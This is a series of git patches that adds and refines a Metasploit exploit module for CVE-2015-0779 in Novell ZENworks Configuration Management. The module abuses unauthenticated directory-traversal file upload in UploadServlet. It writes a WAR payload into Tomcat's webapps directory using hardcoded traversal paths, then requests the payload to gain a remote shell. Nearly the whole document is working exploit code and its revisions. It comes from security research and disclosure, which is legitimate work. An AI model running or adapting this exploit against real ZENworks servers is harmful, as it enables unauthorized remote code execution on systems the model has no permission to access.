From cf8b92b747f3364cf1282149536505bc2728f532 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Tue, 7 Apr 2015 16:05:51 +0100 Subject: [PATCH 1/9] Create zcm_file_upload.rb --- .../exploits/multi/http/zcm_file_upload.rb | 127 ++++++++++++++++++ 1 file changed, 127 insertions(+) create mode 100644 modules/exploits/multi/http/zcm_file_upload.rb diff --git a/modules/exploits/multi/http/zcm_file_upload.rb b/modules/exploits/multi/http/zcm_file_upload.rb new file mode 100644 index 0000000000..c3769008b3 --- /dev/null +++ b/modules/exploits/multi/http/zcm_file_upload.rb @@ -0,0 +1,127 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Novell ZENworks Configuration Management Arbitrary File Upload', + 'Description' => %q{ + This module exploits a file upload vulnerability in Novell ZENworks + Configuration Management (ZCM, which is part of the ZENworks Suite). + The vulnerability exists in UploadServlet which accepts unauthenticated + file uploads and does not check the "uid" parameter for directory traversal + characters. This allows an attacker to write anywhere in the file system, + and can be abused to deploy a WAR file in the Tomcat webapps directory. + ZCM up to (and including) 11.3.1 is vulnerable to this attack. This module + has been tested successfully with ZCM 11.3.1 on Windows and Linux. Note + that this is a similar vulnerability to ZDI-10-078 / OSVDB-63412 which also + has a Metasploit exploit, but it abuses a different parameter of the same + servlet. + }, + 'Author' => + [ + 'Pedro Ribeiro ', # Vulnerability Discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2015-0779' ], + [ 'OSVDB', 'TODO' ], + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/zenworks_zcm_rce.txt' ], + [ 'URL', 'FULLDISC_URL' ] + ], + 'DefaultOptions' => { 'WfsDelay' => 30 }, + 'Privileged' => true, + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + [ 'Novell ZCM < v11.3.2 - Universal Java', { } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Apr 7 2015')) + + register_options( + [ + Opt::RPORT(443), + OptBool.new('SSL', + [ true, "Use SSL", true ]), + OptString.new('TARGETURI', + [ true, "The base path to ZCM / ZENworks Suite", '/zenworks/' ]), + OptString.new('TOMCAT_PATH', + [ false, "The Tomcat webapps traversal path (from the temp directory)", '' ]), + OptInt.new('SLEEP', + [ true, 'Seconds to sleep while we wait for WAR deployment', 15 ]), + ], self.class) + end + + + def check + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'UploadServlet'), + 'method' => 'GET' + }) + if res && res.code == 200 && res.body.to_s =~ /ZENworks File Upload Servlet/ + return Exploit::CheckCode::Detected + end + return Exploit::CheckCode::Safe + end + + + def upload_war_and_exec(tomcat_path) + app_base = rand_text_alphanumeric(4 + rand(32 - 4)) + war_payload = payload.encoded_war({ :app_name => app_base }).to_s + + print_status("#{peer} - Uploading WAR file to #{tomcat_path}") + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'UploadServlet'), + 'method' => 'POST', + 'data' => war_payload, + 'ctype' => 'application/octet-stream', + 'vars_get' => { + 'uid' => tomcat_path, + 'filename' => app_base + ".war" + } + }) + if res && res.code == 200 + print_status("#{peer} - Upload appears to have been successful, waiting " + datastore['SLEEP'].to_s + + " seconds for deployment") + sleep(datastore['SLEEP']) + else + print_error("#{peer} - Failed to upload, try again with a different path?") + return false + end + + print_status("#{peer} - Executing payload, wait for session...") + send_request_cgi({ + 'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)), + 'method' => 'GET' + }) + return true + end + + + def exploit + if datastore['TOMCAT_PATH'] != '' + if not upload_war_and_exec(datastore['TOMCAT_PATH']) + return + end + else + # These paths should cover the Virtual Appliance, Windows and SLES installations + tomcat_paths = [ '../../../opt/novell/zenworks/share/tomcat/webapps/', '../webapps/' ] + if not upload_war_and_exec(tomcat_paths[0]) + if not upload_war_and_exec(tomcat_paths[1]) + return + end + end + end + end +end From 4808d61af39b514855272fff44b9df4dafdc6d5d Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Thu, 9 Apr 2015 16:32:22 +0100 Subject: [PATCH 2/9] Add OSVDB id and full disclosure URL --- modules/exploits/multi/http/zcm_file_upload.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/multi/http/zcm_file_upload.rb b/modules/exploits/multi/http/zcm_file_upload.rb index c3769008b3..929045b21b 100644 --- a/modules/exploits/multi/http/zcm_file_upload.rb +++ b/modules/exploits/multi/http/zcm_file_upload.rb @@ -34,9 +34,9 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ [ 'CVE', '2015-0779' ], - [ 'OSVDB', 'TODO' ], + [ 'OSVDB', '120382' ], [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/zenworks_zcm_rce.txt' ], - [ 'URL', 'FULLDISC_URL' ] + [ 'URL', 'http://seclists.org/fulldisclosure/2015/Apr/21' ] ], 'DefaultOptions' => { 'WfsDelay' => 30 }, 'Privileged' => true, From 8fcf0c558d013affd54203345758ac9595772a2c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 1 May 2015 13:20:27 -0500 Subject: [PATCH 3/9] Use single quotes --- modules/exploits/multi/http/zcm_file_upload.rb | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/modules/exploits/multi/http/zcm_file_upload.rb b/modules/exploits/multi/http/zcm_file_upload.rb index 929045b21b..8f612bc606 100644 --- a/modules/exploits/multi/http/zcm_file_upload.rb +++ b/modules/exploits/multi/http/zcm_file_upload.rb @@ -53,11 +53,11 @@ class Metasploit3 < Msf::Exploit::Remote [ Opt::RPORT(443), OptBool.new('SSL', - [ true, "Use SSL", true ]), + [ true, 'Use SSL', true ]), OptString.new('TARGETURI', - [ true, "The base path to ZCM / ZENworks Suite", '/zenworks/' ]), + [ true, 'The base path to ZCM / ZENworks Suite', '/zenworks/' ]), OptString.new('TOMCAT_PATH', - [ false, "The Tomcat webapps traversal path (from the temp directory)", '' ]), + [ false, 'The Tomcat webapps traversal path (from the temp directory)', '' ]), OptInt.new('SLEEP', [ true, 'Seconds to sleep while we wait for WAR deployment', 15 ]), ], self.class) @@ -88,12 +88,11 @@ class Metasploit3 < Msf::Exploit::Remote 'ctype' => 'application/octet-stream', 'vars_get' => { 'uid' => tomcat_path, - 'filename' => app_base + ".war" + 'filename' => "#{app_base}.war" } }) if res && res.code == 200 - print_status("#{peer} - Upload appears to have been successful, waiting " + datastore['SLEEP'].to_s + - " seconds for deployment") + print_status("#{peer} - Upload appears to have been successful, waiting #{datastore['SLEEP']} seconds for deployment") sleep(datastore['SLEEP']) else print_error("#{peer} - Failed to upload, try again with a different path?") @@ -105,7 +104,8 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)), 'method' => 'GET' }) - return true + + true end From d2a7d83f716efe6a4b8b7e45fe5959cfb9c551aa Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 1 May 2015 13:51:52 -0500 Subject: [PATCH 4/9] Avoid long sleep times --- .../exploits/multi/http/zcm_file_upload.rb | 28 +++++++++++-------- 1 file changed, 17 insertions(+), 11 deletions(-) diff --git a/modules/exploits/multi/http/zcm_file_upload.rb b/modules/exploits/multi/http/zcm_file_upload.rb index 8f612bc606..957e981dd9 100644 --- a/modules/exploits/multi/http/zcm_file_upload.rb +++ b/modules/exploits/multi/http/zcm_file_upload.rb @@ -57,9 +57,7 @@ class Metasploit3 < Msf::Exploit::Remote OptString.new('TARGETURI', [ true, 'The base path to ZCM / ZENworks Suite', '/zenworks/' ]), OptString.new('TOMCAT_PATH', - [ false, 'The Tomcat webapps traversal path (from the temp directory)', '' ]), - OptInt.new('SLEEP', - [ true, 'Seconds to sleep while we wait for WAR deployment', 15 ]), + [ false, 'The Tomcat webapps traversal path (from the temp directory)', '' ]) ], self.class) end @@ -69,10 +67,12 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => normalize_uri(datastore['TARGETURI'], 'UploadServlet'), 'method' => 'GET' }) + if res && res.code == 200 && res.body.to_s =~ /ZENworks File Upload Servlet/ return Exploit::CheckCode::Detected end - return Exploit::CheckCode::Safe + + Exploit::CheckCode::Safe end @@ -93,19 +93,25 @@ class Metasploit3 < Msf::Exploit::Remote }) if res && res.code == 200 print_status("#{peer} - Upload appears to have been successful, waiting #{datastore['SLEEP']} seconds for deployment") - sleep(datastore['SLEEP']) else print_error("#{peer} - Failed to upload, try again with a different path?") return false end - print_status("#{peer} - Executing payload, wait for session...") - send_request_cgi({ - 'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)), - 'method' => 'GET' - }) + 10.times do + Rex.sleep(2) - true + # Now make a request to trigger the newly deployed war + print_status("#{peer} - Attempting to launch payload in deployed WAR...") + send_request_cgi({ + 'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)), + 'method' => 'GET' + }) + # Failure. The request timed out or the server went away. + return false if res.nil? + # Success! Triggered the payload, should have a shell incoming + return true if res.code == 200 + end end From d38adef5cc4f5a22f7e3d5c526e1fec8d32a5fcf Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 1 May 2015 13:54:39 -0500 Subject: [PATCH 5/9] Make TOMCAT_PATH optional --- .../exploits/multi/http/zcm_file_upload.rb | 26 ++++++++----------- 1 file changed, 11 insertions(+), 15 deletions(-) diff --git a/modules/exploits/multi/http/zcm_file_upload.rb b/modules/exploits/multi/http/zcm_file_upload.rb index 957e981dd9..44dc1a248f 100644 --- a/modules/exploits/multi/http/zcm_file_upload.rb +++ b/modules/exploits/multi/http/zcm_file_upload.rb @@ -53,11 +53,11 @@ class Metasploit3 < Msf::Exploit::Remote [ Opt::RPORT(443), OptBool.new('SSL', - [ true, 'Use SSL', true ]), + [true, 'Use SSL', true]), OptString.new('TARGETURI', - [ true, 'The base path to ZCM / ZENworks Suite', '/zenworks/' ]), + [true, 'The base path to ZCM / ZENworks Suite', '/zenworks/']), OptString.new('TOMCAT_PATH', - [ false, 'The Tomcat webapps traversal path (from the temp directory)', '' ]) + [false, 'The Tomcat webapps traversal path (from the temp directory)']) ], self.class) end @@ -116,18 +116,14 @@ class Metasploit3 < Msf::Exploit::Remote def exploit - if datastore['TOMCAT_PATH'] != '' - if not upload_war_and_exec(datastore['TOMCAT_PATH']) - return - end - else - # These paths should cover the Virtual Appliance, Windows and SLES installations - tomcat_paths = [ '../../../opt/novell/zenworks/share/tomcat/webapps/', '../webapps/' ] - if not upload_war_and_exec(tomcat_paths[0]) - if not upload_war_and_exec(tomcat_paths[1]) - return - end - end + tomcat_paths = [] + if datastore['TOMCAT_PATH'] + tomcat_paths << datastore['TOMCAT_PATH'] + end + tomcat_paths.concat(['../../../opt/novell/zenworks/share/tomcat/webapps/', '../webapps/']) + + tomcat_paths.each do |tomcat_path| + break if upload_war_and_exec(tomcat_path) end end end From 093c2e3ace4a3a0dcd2b52b420e72f1b39498185 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 1 May 2015 13:56:48 -0500 Subject: [PATCH 6/9] Do minor style cleanup --- .../exploits/multi/http/zcm_file_upload.rb | 28 +++++++++---------- 1 file changed, 13 insertions(+), 15 deletions(-) diff --git a/modules/exploits/multi/http/zcm_file_upload.rb b/modules/exploits/multi/http/zcm_file_upload.rb index 44dc1a248f..52339d1891 100644 --- a/modules/exploits/multi/http/zcm_file_upload.rb +++ b/modules/exploits/multi/http/zcm_file_upload.rb @@ -14,17 +14,15 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'Novell ZENworks Configuration Management Arbitrary File Upload', 'Description' => %q{ - This module exploits a file upload vulnerability in Novell ZENworks - Configuration Management (ZCM, which is part of the ZENworks Suite). - The vulnerability exists in UploadServlet which accepts unauthenticated - file uploads and does not check the "uid" parameter for directory traversal - characters. This allows an attacker to write anywhere in the file system, - and can be abused to deploy a WAR file in the Tomcat webapps directory. - ZCM up to (and including) 11.3.1 is vulnerable to this attack. This module - has been tested successfully with ZCM 11.3.1 on Windows and Linux. Note - that this is a similar vulnerability to ZDI-10-078 / OSVDB-63412 which also - has a Metasploit exploit, but it abuses a different parameter of the same - servlet. + This module exploits a file upload vulnerability in Novell ZENworks Configuration + Management (ZCM, which is part of the ZENworks Suite). The vulnerability exists in + the UploadServlet which accepts unauthenticated file uploads and does not check the + "uid" parameter for directory traversal characters. This allows an attacker to write + anywhere in the file system, and can be abused to deploy a WAR file in the Tomcat + webapps directory. ZCM up to (and including) 11.3.1 is vulnerable to this attack. + This module has been tested successfully with ZCM 11.3.1 on Windows and Linux. Note + that this is a similar vulnerability to ZDI-10-078 / OSVDB-63412 which also has a + Metasploit exploit, but it abuses a different parameter of the same servlet. }, 'Author' => [ @@ -33,10 +31,10 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - [ 'CVE', '2015-0779' ], - [ 'OSVDB', '120382' ], - [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/zenworks_zcm_rce.txt' ], - [ 'URL', 'http://seclists.org/fulldisclosure/2015/Apr/21' ] + ['CVE', '2015-0779'], + ['OSVDB', '120382'], + ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/zenworks_zcm_rce.txt'], + ['URL', 'http://seclists.org/fulldisclosure/2015/Apr/21'] ], 'DefaultOptions' => { 'WfsDelay' => 30 }, 'Privileged' => true, From 11a3f59b0b7dc8c20f44784221528016f1d96c53 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 1 May 2015 14:06:16 -0500 Subject: [PATCH 7/9] Return false if there isn't a positive answer --- modules/exploits/multi/http/zcm_file_upload.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/modules/exploits/multi/http/zcm_file_upload.rb b/modules/exploits/multi/http/zcm_file_upload.rb index 52339d1891..8b8b84efbf 100644 --- a/modules/exploits/multi/http/zcm_file_upload.rb +++ b/modules/exploits/multi/http/zcm_file_upload.rb @@ -110,6 +110,8 @@ class Metasploit3 < Msf::Exploit::Remote # Success! Triggered the payload, should have a shell incoming return true if res.code == 200 end + + false end From 645f239d949ca04c78e8261f6ce70b2c2eb3f6a0 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 1 May 2015 14:18:34 -0500 Subject: [PATCH 8/9] Change module filename --- ...file_upload.rb => zenworks_configuration_management_upload.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/exploits/multi/http/{zcm_file_upload.rb => zenworks_configuration_management_upload.rb} (100%) diff --git a/modules/exploits/multi/http/zcm_file_upload.rb b/modules/exploits/multi/http/zenworks_configuration_management_upload.rb similarity index 100% rename from modules/exploits/multi/http/zcm_file_upload.rb rename to modules/exploits/multi/http/zenworks_configuration_management_upload.rb From 0ff33572a7891d318f1941986908176fab6662c2 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 1 May 2015 14:34:43 -0500 Subject: [PATCH 9/9] Fix waiting loop --- .../http/zenworks_configuration_management_upload.rb | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/modules/exploits/multi/http/zenworks_configuration_management_upload.rb b/modules/exploits/multi/http/zenworks_configuration_management_upload.rb index 8b8b84efbf..88dc101694 100644 --- a/modules/exploits/multi/http/zenworks_configuration_management_upload.rb +++ b/modules/exploits/multi/http/zenworks_configuration_management_upload.rb @@ -90,7 +90,7 @@ class Metasploit3 < Msf::Exploit::Remote } }) if res && res.code == 200 - print_status("#{peer} - Upload appears to have been successful, waiting #{datastore['SLEEP']} seconds for deployment") + print_status("#{peer} - Upload appears to have been successful") else print_error("#{peer} - Failed to upload, try again with a different path?") return false @@ -105,10 +105,13 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)), 'method' => 'GET' }) + # Failure. The request timed out or the server went away. - return false if res.nil? - # Success! Triggered the payload, should have a shell incoming - return true if res.code == 200 + break if res.nil? + # Failure. Unexpected answer + break if res.code != 200 + # Unless session... keep looping + return true if session_created? end false